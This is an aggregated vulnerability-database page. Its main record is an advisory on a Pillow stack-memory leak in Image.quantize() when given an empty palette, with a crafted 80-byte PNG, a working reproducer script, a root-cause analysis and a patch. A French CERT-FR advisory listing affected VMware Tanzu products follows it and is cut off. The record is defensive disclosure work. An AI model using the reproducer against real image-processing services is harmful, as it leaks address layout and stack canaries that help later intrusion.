return src.quantize(palette=pal, dither=Image.Dither.NONE).tobytes()
def stack_range():
for line in open("/proc/self/maps"):
if line.rstrip().endswith("[stack]"):
lo, hi = line.split()[0].split("-")
return int(lo, 16), int(hi, 16)
# Control: a one-entry palette -- every pixel must map to index 0.
control = quantize_against(png_with_plte(b"\x10\x20\x30"))
print(f"control (1-entry PLTE): distinct pixel values = {sorted(set(control))}")
# Attack: the same PNG with an empty PLTE chunk (80 bytes).
try:
leaked = quantize_against(png_with_plte(b""))
except ValueError as e:
print(f"attack (empty PLTE): rejected: {e}")
print("OK")
raise SystemExit
print(f"attack (empty PLTE): {len(set(leaked))} distinct pixel values; first 64 bytes:")
print(f" {leaked[:64].hex()}")
# Read the 512 pixel bytes as 64 little-endian words; any word that is an
# address inside this process's own stack can only have come from the stack.
lo, hi = stack_range()
print(f"this process's [stack] mapping: {lo:#x}-{hi:#x}")
stack_ptrs = 0
for i in range(0, 512, 8):
word = int.from_bytes(leaked[i:i + 8], "little")
if lo <= word < hi:
stack_ptrs += 1
print(f" pixels {i:3d}..{i + 7:3d} = {word:#018x} <- pointer into [stack]")
print(f"{stack_ptrs} of 64 words of the output image are stack addresses")
print("BUG" if set(control) == {0} and stack_ptrs >= 2 else "OK")
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "pillow",
"resource_purl": "pkg:pypi/pillow@12.1.1",
"upstream_fixed_in": "13.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "aider",
"purl": "pkg:brew/aider"
},
"ranges": [
{
"events": [
{
"introduced": "0.86.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pillow@12.1.1",
"name": "pillow",
"resource": "pillow",
"strategy": "registry",
"subject_version": "12.1.1"
}
]
},
"details": "```\n============================================================================\nImage.quantize() with empty palette leaks uninitialized stack memory\nLocation: src/libImaging/Palette.c:216 in ImagingPaletteCacheUpdate()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application lets a user supply the palette image for Pillow\u0027s `Image.quantize(palette=...)`, the user can get back 512 bytes of the server process\u0027s stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow\u0027s own C module, along with the stack-protector canary.\n\nThe bug is in `ImagingPaletteCacheUpdate()` in `src/libImaging/Palette.c`. It fills a local `UINT8 c[512]` only inside loops bounded by `palette-\u003esize`. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. `topalette()` in `src/libImaging/Convert.c` then emits the cached values as output pixel indices. `topalette()` rejects a `NULL` palette but not one with `size == 0`. Three inputs produce such a zero-entry `\"P\"` image: a PNG with a zero-length `PLTE` chunk opened with `Image.open()`, a colour-mapped TGA with colour-map length 0, or a bare `Image.new(\"P\", ...)`. The attacker must control the *palette* image; the source image can be anything, and `RGB` sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process\u0027s own `[stack]` mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit `54cb09d8b48c` (first released in 9.1.0). The `Image.new(\"P\", ...)` route exists since 10.1.0.\n\n## Details\n\n`ImagingPaletteCacheUpdate()` (`src/libImaging/Palette.c:154`) computes, for one 8\u00d78\u00d78 box of the colour cache, the nearest palette index for each of the 512 slots into a local `UINT8 c[512]` and then copies `c[]` into the cache. `c[]` is only ever written inside `for (i = 0; i \u003c palette-\u003esize; i++)`. When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and `topalette()` (`src/libImaging/Convert.c:1145`) emits them as the output pixels of `Image.quantize(palette=...)`. The root cause is that `topalette()` only rejects a `NULL` palette, never one with `palette-\u003esize == 0`, while `ImagingPaletteCacheUpdate()` silently assumes `size \u003e= 1`. A zero-entry `\"P\"` image is what `Image.open()` produces for a PNG whose `PLTE` chunk has length 0 (or a colour-mapped TGA with colour-map length 0); `Image.new(\"P\", size)` without a subsequent `putpalette()` yields one as well. Both dither modes (`Dither.NONE` and the default Floyd-Steinberg) are affected for `RGB` sources (an `L` source takes the grayscale copy path and never consults the cache).\n\nShowing it with the installed build, no special flags. The 80-byte PNG below is 4\u00d74, bit depth 8, colour type 3, with a zero-length `PLTE` and an all-zero `IDAT`:\n\n```\n89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c\n00000000 504c5445 4ba88955\n0000000b 49444154 789c6360c0040000140001 7dfe1eee\n00000000 49454e44 ae426082\n```\n\n```python\npal = Image.open(io.BytesIO(png)); pal.load() # pal.mode == \"P\", pal.im.getpalette(\"RGB\") == b\"\"\nsrc = Image.new(\"RGB\", (512, 1))\nsrc.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)])\nout = src.quantize(palette=pal, dither=Image.Dither.NONE)\nout.tobytes() # 512 bytes, different in every process\n```\n\nThe 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for `r,g,b \u2208 [0,32)`, in slot order, so `out.tobytes()` is exactly `c[0..511]`. Read as 64 little-endian 8-byte words and resolved against the same process\u0027s `/proc/self/maps`, a typical run gives 43 words that are addresses inside the process\u0027s own mappings \u2014 8 in `[stack]`, several in `[heap]`, `libc.so.6`, `libpython3.12.so` and `_imaging.cpython-312-x86_64-linux-gnu.so` \u2014 and 3 words equal to the thread\u0027s stack-protector canary (read from `fs:0x28` for comparison). The same PNG with a 3-byte `PLTE` (one entry) gives 512 zero bytes in every run. `out.save(buf, \"PNG\")` succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a `strip --strip-debug` copy of `_imaging.so` or a gcc build, since valgrind 3.19 cannot read clang\u0027s DWARF5) the report carries the origin `Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate`. With `Dither.NONE` `topalette` only copies the bytes, so the first `use of uninitialised value` is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside `topalette` (inlined into `ImagingConvert`), where the cached index is used to address `palette-\u003epalette`.\n\n### Code path\n\nFile \u2192 empty C palette. `PngImagePlugin.chunk_PLTE` (`src/PIL/PngImagePlugin.py:499-505`) stores the chunk payload whatever its length, `_open` wraps it as `ImagePalette.raw(\"RGB\", b\"\")` (`:836-838`), and `Image.load()` realises it with `self.im.putpalette(\"RGB\", \"RGB\", b\"\")` (`src/PIL/Image.py:989-990`). `_putpalette` (`src/_imaging.c:1850-1868`) rejects only more than 256 entries and sets `palette-\u003esize = palettesize * 8 / bits`, i.e. 0. `TgaImagePlugin._open` (`src/PIL/TgaImagePlugin.py:121-135`) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.\n\nAPI \u2192 sink. `Image.quantize(palette=pal)` (`src/PIL/Image.py:1329-1338`) checks only `palette.mode == \"P\"` and calls `self.im.convert(\"P\", dither, palette.im)` \u2192 `ImagingConvert` \u2192 `topalette(..., inpalette=\u003cthat palette\u003e, dither)`. `topalette` tests the palette for `NULL` (`Convert.c:1162`, `:1178`) but not for `size == 0`, allocates the cache (every slot `0x100` = \"not computed\"), and for each source pixel:\n\n```c\n// src/libImaging/Convert.c:1319-1327 (non-dither path; the dither path at 1252-1265 is the same)\n cache = \u0026ImagingPaletteCache(palette, r, g, b);\n if (cache[0] == 0x100) {\n ImagingPaletteCacheUpdate(palette, r, g, b);\n }\n \u2026\n out[x] = (UINT8)cache[0];\n```\n\nInside `ImagingPaletteCacheUpdate` the only store to `c[]` is in step 2, and both step 1 and step 2 iterate over palette entries:\n\n```c\n// src/libImaging/Palette.c:160-161\n unsigned int d[BOXVOLUME];\n UINT8 c[BOXVOLUME];\n\u2026\n// src/libImaging/Palette.c:212-221, 240-242\n for (i = 0; i \u003c BOXVOLUME; i++) {\n d[i] = (unsigned int)~0; /* d[] is initialised, c[] is not */\n }\n for (i = 0; i \u003c palette-\u003esize; i++) { /* size == 0: body never runs */\n if (dmin[i] \u003c= dmax) {\n \u2026\n if ((unsigned int)bd \u003c d[j]) {\n d[j] = bd;\n c[j] = (UINT8)i;\n }\n```\n\nFor any non-empty palette every slot is written: the entry that produced `dmax` passes `dmin[i] \u003c= dmax`, and because `d[j]` starts at `~0` the first visiting entry always stores into `c[j]`. With `size == 0` the loop is skipped entirely and step 3 publishes the raw stack array:\n\n```c\n// src/libImaging/Palette.c:262-266\n j = 0;\n for (r = r0; r \u003c r1; r += 4) {\n for (g = g0; g \u003c g1; g += 4) {\n for (b = b0; b \u003c b1; b += 4) {\n ImagingPaletteCache(palette, r, g, b) = c[j++];\n```\n\n`cache[0]` is then \u2264 255 and `palette-\u003epalette` is a fixed 1024-byte array, so the subsequent `palette-\u003epalette[cache[0] * 4]` reads in the dither path stay in bounds; the defect is purely that stack contents become pixel values. Because no deeper call happens between successive `ImagingPaletteCacheUpdate` invocations in the pixel loop, every box yields the same 512 bytes \u2014 whatever earlier, deeper call chains (the PNG decode, the interpreter) left at that stack depth.\n\nThe behaviour was introduced in `54cb09d8b48c` (\"When converting to P, restrict colors to palette size\", 2022-02-16), first released in 9.1.0; before it, the cache update iterated over all 256 palette slots. The `Image.new(\"P\", ...)` route additionally depends on `fd310512b95a` (\"Set C palette to be empty by default\", first in 10.1.0); before that a fresh `\"P\"` image carried a 256-entry grey ramp.\n\n## Impact\n\nAn application that lets a user supply the reference palette image for `Image.quantize(palette=...)` \u2014 palette-swap / \"apply this palette\" features, sprite and GIF tooling, pixel-art converters \u2014 and returns the quantised result hands that user 512 bytes of the worker\u0027s C stack, encoded as pixel indices (directly readable from the saved PNG/GIF, since index values survive losslessly). In the build examined those bytes contain return addresses and frame pointers into the stack, heap, libc, libpython and `_imaging.so`, plus the stack-protector canary: an ASLR and canary disclosure from a long-lived server process, obtained with an 80-byte upload, no crash and no log entry. The precondition is that the attacker controls the *palette* image (the source image can be anything with at least one colour per cache box of interest); when the palette image is application-owned the path is not reachable. There is no out-of-bounds access and no memory corruption.\n\n## Reproducing\n\n`repro` is a short, single-file Python script that runs against the installed Pillow. It doesn\u0027t rebuild anything or start any other process, and it finishes in about 0.1 s.\n\n1. `png_with_plte()` builds a 4\u00d74 palette-mode PNG (bit depth 8, colour type 3) around a given `PLTE` payload. With an empty payload it produces exactly the 80-byte file shown above.\n2. `quantize_against()` does what an \"apply this palette\" feature does: it opens the PNG with `Image.open()` and calls `quantize(palette=pal, dither=Image.Dither.NONE)` on a 512\u00d71 RGB strip. The strip holds the colours `(r*4, g*4, b*4)` for `r, g, b` in `0..7`, one for each slot of the colour-cache box `r, g, b \u2208 [0,32)` and in slot order. That makes output pixel `j` exactly `c[j]` of `ImagingPaletteCacheUpdate()`.\n3. **Control:** a one-entry `PLTE`. The only valid index is 0, and every output pixel is 0.\n4. **Attack:** the same PNG with a zero-length `PLTE`. `quantize()` returns an image without complaint, and its pixels contain about 80 distinct values.\n5. **Check:** the script reads the 512 output bytes as 64 little-endian 8-byte words and compares them with the `[stack]` range in the script\u0027s own `/proc/self/maps`. It prints each word that points into the stack. A typical run finds 8, e.g. `pixels 0..7 = 0x00007ffd959c3fa0 \u003c- pointer into [stack]`. Pixel data can only hold stack addresses if it was copied from the stack.\n\nThe script prints `BUG` if the control is all zeros and at least two output words are stack addresses. It prints `OK` if `quantize()` rejects the empty palette with `ValueError`, which is what the attached patch does, or if the output has no stack pointers. The script was also checked against an out-of-tree rebuild, which is not part of the script. With the attached patch it prints `attack (empty PLTE): rejected: empty palette` / `OK`. With only the `Palette.c` half of the patch, the output is 512 zero bytes and it prints `OK`.\n\n## Suggested fix\n\nThe attached patch rejects an empty palette in `topalette()` before any work is done, with `ValueError(\"empty palette\")` in the same idiom as the neighbouring \"no palette\" / \"conversion not supported\" checks, so `Image.quantize()` raises a normal `ValueError`. It also zero-fills `c[]` alongside `d[]` in `ImagingPaletteCacheUpdate()` so no present or future caller can copy stack contents into the cache, and adds a regression test `test_empty_palette` to `Tests/test_image_quantize.py`. `quantize(palette=)` is the only path that hands a caller-supplied palette to `topalette()`; the `NULL`-palette branches always build 256- or 226-entry palettes and are unaffected. The one behaviour change is that quantizing against an empty palette (including a bare `Image.new(\"P\", ...)`) now raises instead of returning garbage indices. The C changes:\n\n```diff\n--- a/src/libImaging/Convert.c\n+++ b/src/libImaging/Convert.c\n@@ -1159,6 +1159,10 @@ topalette(\n \n alpha = mode == IMAGING_MODE_PA;\n \n+ if (palette != NULL \u0026\u0026 palette-\u003esize \u003c= 0) {\n+ return (Imaging)ImagingError_ValueError(\"empty palette\");\n+ }\n+\n if (palette == NULL) {\n /* FIXME: make user configurable */\n if (imIn-\u003ebands == 1) {\n--- a/src/libImaging/Palette.c\n+++ b/src/libImaging/Palette.c\n@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {\n \n for (i = 0; i \u003c BOXVOLUME; i++) {\n d[i] = (unsigned int)~0;\n+ c[i] = 0;\n }\n \n for (i = 0; i \u003c palette-\u003esize; i++) {\n```\n\nApplied to a clean copy of the tree and rebuilt, the reproducer\u0027s attack step fails with `ValueError: empty palette` and the script prints `OK`; the one-entry control is unchanged. Apart from the regression test, the patch does not touch the Python code in `src/PIL`. Optionally `PngImagePlugin.chunk_PLTE` could additionally raise `SyntaxError` for a `PLTE` whose length is 0 or not a multiple of 3, as the PNG specification requires 1\u2013256 entries, and `Image.quantize()` could raise a clearer Python-level error when `palette.palette` is empty.\n\n## The patch\n\nRaise ValueError in topalette() for a palette with no entries and zero-initialise the cache slot array in ImagingPaletteCacheUpdate()\n\nApplies to `src/libImaging/Convert.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_image_quantize.py b/Tests/test_image_quantize.py\nindex 887628560..dcd1d901e 100644\n--- a/Tests/test_image_quantize.py\n+++ b/Tests/test_image_quantize.py\n@@ -179,3 +179,13 @@ def test_small_palette() -\u003e None:\n quantized_colors = im.getcolors()\n assert quantized_colors is not None\n assert len(quantized_colors) == 2\n+\n+\n+def test_empty_palette() -\u003e None:\n+ im = hopper()\n+\n+ p = Image.new(\"P\", (1, 1))\n+ p.putpalette(b\"\")\n+\n+ with pytest.raises(ValueError):\n+ im.quantize(palette=p)\ndiff --git a/src/libImaging/Convert.c b/src/libImaging/Convert.c\nindex 4a35a9a1f..7746d9255 100644\n--- a/src/libImaging/Convert.c\n+++ b/src/libImaging/Convert.c\n@@ -1159,6 +1159,10 @@ topalette(\n \n alpha = mode == IMAGING_MODE_PA;\n \n+ if (palette != NULL \u0026\u0026 palette-\u003esize \u003c= 0) {\n+ return (Imaging)ImagingError_ValueError(\"empty palette\");\n+ }\n+\n if (palette == NULL) {\n /* FIXME: make user configurable */\n if (imIn-\u003ebands == 1) {\ndiff --git a/src/libImaging/Palette.c b/src/libImaging/Palette.c\nindex b2dacf656..ceb69d3dc 100644\n--- a/src/libImaging/Palette.c\n+++ b/src/libImaging/Palette.c\n@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {\n \n for (i = 0; i \u003c BOXVOLUME; i++) {\n d[i] = (unsigned int)~0;\n+ c[i] = 0;\n }\n \n for (i = 0; i \u003c palette-\u003esize; i++) {\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 2,975 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow: Image.quantize(palette=\u003cP image with an empty palette\u003e) returns\n# uninitialised C stack bytes as pixel values.\n#\n# ImagingPaletteCacheUpdate() (src/libImaging/Palette.c) only writes its local\n# UINT8 c[512] inside `for (i = 0; i \u003c palette-\u003esize; i++)`. A PNG with a\n# zero-length PLTE chunk gives palette-\u003esize == 0, so c[] is never written and\n# its raw stack contents are copied into the colour cache, which topalette()\n# (src/libImaging/Convert.c) then emits as the output pixels.\nimport io\nimport struct\nimport zlib\n\nfrom PIL import Image\n\n\ndef png_with_plte(plte):\n \"\"\"A 4x4 palette-mode (colour type 3) PNG whose PLTE chunk holds `plte`.\"\"\"\n def chunk(tag, data):\n return (struct.pack(\"\u003eI\", len(data)) + tag + data\n + struct.pack(\"\u003eI\", zlib.crc32(tag + data)))\n ihdr = struct.pack(\"\u003eIIBBBBB\", 4, 4, 8, 3, 0, 0, 0)\n pixels = zlib.compress(b\"\\x00\" * 4 * 5)\n return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", ihdr) + chunk(b\"PLTE\", plte)\n + chunk(b\"IDAT\", pixels) + chunk(b\"IEND\", b\"\"))\n\n\ndef quantize_against(palette_png):\n \"\"\"What an \"apply this palette\" feature does with an uploaded palette image.\"\"\"\n pal = Image.open(io.BytesIO(palette_png))\n # 512 colours, one per slot of the colour-cache box r,g,b in [0,32), in slot\n # order: output pixel j is exactly c[j] of ImagingPaletteCacheUpdate().\n src = Image.new(\"RGB\", (512, 1))\n src.putdata([(r * 4, g * 4, b * 4)\n for r in range(8) for g in range(8) for b in range(8)])\n return src.quantize(palette=pal, dither=Image.Dither.NONE).tobytes()\n\n\ndef stack_range():\n for line in open(\"/proc/self/maps\"):\n if line.rstrip().endswith(\"[stack]\"):\n lo, hi = line.split()[0].split(\"-\")\n return int(lo, 16), int(hi, 16)\n\n\n# Control: a one-entry palette -- every pixel must map to index 0.\ncontrol = quantize_against(png_with_plte(b\"\\x10\\x20\\x30\"))\nprint(f\"control (1-entry PLTE): distinct pixel values = {sorted(set(control))}\")\n\n# Attack: the same PNG with an empty PLTE chunk (80 bytes).\ntry:\n leaked = quantize_against(png_with_plte(b\"\"))\nexcept ValueError as e:\n print(f\"attack (empty PLTE): rejected: {e}\")\n print(\"OK\")\n raise SystemExit\n\nprint(f\"attack (empty PLTE): {len(set(leaked))} distinct pixel values; first 64 bytes:\")\nprint(f\" {leaked[:64].hex()}\")\n\n# Read the 512 pixel bytes as 64 little-endian words; any word that is an\n# address inside this process\u0027s own stack can only have come from the stack.\nlo, hi = stack_range()\nprint(f\"this process\u0027s [stack] mapping: {lo:#x}-{hi:#x}\")\nstack_ptrs = 0\nfor i in range(0, 512, 8):\n word = int.from_bytes(leaked[i:i + 8], \"little\")\n if lo \u003c= word \u003c hi:\n stack_ptrs += 1\n print(f\" pixels {i:3d}..{i + 7:3d} = {word:#018x} \u003c- pointer into [stack]\")\n\nprint(f\"{stack_ptrs} of 64 words of the output image are stack addresses\")\nprint(\"BUG\" if set(control) == {0} and stack_ptrs \u003e= 2 else \"OK\")\n```\n\u003c/details\u003e\n\n---",
"id": "BREW-aider-CVE-2026-112898",
"modified": "2026-10-29T21:58:11Z",
"published": "2026-10-22T09:13:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112898"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: Image.quantize() with empty palette leaks uninitialized stack memory",
"upstream": [
"GHSA-rfgq-q3w2-pmv2",
"CVE-2026-112898",
"BIT-pillow-2026-112898"
]
}
CERTFR-2026-AVI-1486
Vulnerability from certfr_avis - Published: 2026-11-09 - Updated: 2026-11-09
De multiples vulnérabilités ont été découvertes dans les produits VMware. Elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| VMware | N/A | VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.2.12 | ||
| VMware | N/A | VMware Tanzu RabbitMQ versions antérieures à 3.13.21 | ||
| VMware | N/A | VMware Tanzu Application Platform versions antérieures à 1.12.8 | ||
| VMware | N/A | VMware Tanzu for Valkey pour Kubernetes versions antérieures à 3.6.0 | ||
| VMware | N/A | VMware Tanzu for Postgres pour Kubernetes versions antérieures à 4.6.0 | ||
| VMware | N/A | VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.3.7 | ||
| VMware | N/A | VMware Tanzu Greenplum versions antérieures à 6.34.0 | ||
| VMware | N/A | VMware Tanzu RabbitMQ versions antérieures à 4.3.7 | ||
| VMware | N/A | VMware Tanzu RabbitMQ versions antérieures à 4.1.17 | ||
| VMware | N/A | VMware Tanzu Greenplum Command Center versions antérieures à 6.18.0 | ||
| VMware | N/A | VMware Tanzu Greenplum versions antérieures à 7.9.0 | ||
| VMware | N/A | VMware Tanzu GemFire versions antérieures à 10.2.9 | ||
| VMware | N/A | VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 3.13.21 | ||
| VMware | N/A | VMware Tanzu GemFire pour Kubernetes versions antérieures à 2.6.4 | ||
| VMware | N/A | VMware Tanzu Greenplum MCP Server versions antérieures à 1.1.0 | ||
| VMware | N/A | VMware Tanzu GemFire versions antérieures à 10.1.10 | ||
| VMware | N/A | VMware Tanzu Greenplum Platform Extension Framework versions antérieures à 8.1.0 | ||
| VMware | N/A | VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.1.17 | ||
| VMware | N/A | VMware Tanzu RabbitMQ versions antérieures à 4.2.12 | ||
| VMware | N/A | VMware Tanzu for MySQL pour Kubernetes versions antérieures à 2.0.6 | ||
| VMware | N/A | VMware Tanzu GemFire versions antérieures à 10.3.3 | ||
| VMware | N/A | VMware Tanzu GemFire Management Console versions antérieures à 1.5.0 | ||
| VMware | N/A | VMware Tanzu Data Flow pour Kubernetes versions antérieures à 2.1.7 | ||
| VMware | N/A | VMware Tanzu Greenplum Streaming Server versions antérieures à 2.4.0 | ||
| VMware | N/A | VMware Tanzu GemFire Vector Database versions antérieures à 1.2.3 | ||
| VMware | N/A | VMware Tanzu Greenplum Data Copy Utility versions antérieures à 2.9.8 | ||
| VMware | N/A | VMware Tanzu Greenplum pour Kubernetes versions antérieures à 1.2.0 | ||
| VMware | N/A | VMware Tanzu Greenplum Command Center versions antérieures à 7.8.0 | ||
| VMware | N/A | VMware Tanzu GemFire .NET Client versions antérieures à 1.0.3 | ||
| VMware | N/A | VMware Tanzu Greenplum Backup and Restore versions antérieures à 1.34.0 | ||
| VMware | N/A | Vmware Spring Cloud Gateway pour Kubernetes versions antérieures à 2.3.0 | ||
| VMware | N/A | VMware Tanzu GemFire Session Management versions antérieures à 2.0.1 | ||
| VMware | N/A | VMware Tanzu Greenplum Text versions antérieures à 4.1.0 | ||
| VMware | N/A | VMware Tanzu Greenplum Streaming Server versions antérieures à 1.4.0 | ||
| VMware | N/A | SQL Assistant for VMware Tanzu Data Intelligence versions antérieures à 1.1.0 |
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.2.12",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 3.13.21",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Application Platform versions ant\u00e9rieures \u00e0 1.12.8",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu for Valkey pour Kubernetes versions ant\u00e9rieures \u00e0 3.6.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu for Postgres pour Kubernetes versions ant\u00e9rieures \u00e0 4.6.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.3.7",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum versions ant\u00e9rieures \u00e0 6.34.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.3.7",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.1.17",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Command Center versions ant\u00e9rieures \u00e0 6.18.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum versions ant\u00e9rieures \u00e0 7.9.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.2.9",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 3.13.21",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire pour Kubernetes versions ant\u00e9rieures \u00e0 2.6.4",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum MCP Server versions ant\u00e9rieures \u00e0 1.1.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.1.10",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Platform Extension Framework versions ant\u00e9rieures \u00e0 8.1.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.1.17",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.2.12",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu for MySQL pour Kubernetes versions ant\u00e9rieures \u00e0 2.0.6",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.3.3",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire Management Console versions ant\u00e9rieures \u00e0 1.5.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Data Flow pour Kubernetes versions ant\u00e9rieures \u00e0 2.1.7",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Streaming Server versions ant\u00e9rieures \u00e0 2.4.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire Vector Database versions ant\u00e9rieures \u00e0 1.2.3",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Data Copy Utility versions ant\u00e9rieures \u00e0 2.9.8",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum pour Kubernetes versions ant\u00e9rieures \u00e0 1.2.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Command Center versions ant\u00e9rieures \u00e0 7.8.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire .NET Client versions ant\u00e9rieures \u00e0 1.0.3",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Backup and Restore versions ant\u00e9rieures \u00e0 1.34.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "Vmware Spring Cloud Gateway pour Kubernetes versions ant\u00e9rieures \u00e0 2.3.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire Session Management versions ant\u00e9rieures \u00e0 2.0.1",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Text versions ant\u00e9rieures \u00e0 4.1.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Streaming Server versions ant\u00e9rieures \u00e0 1.4.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
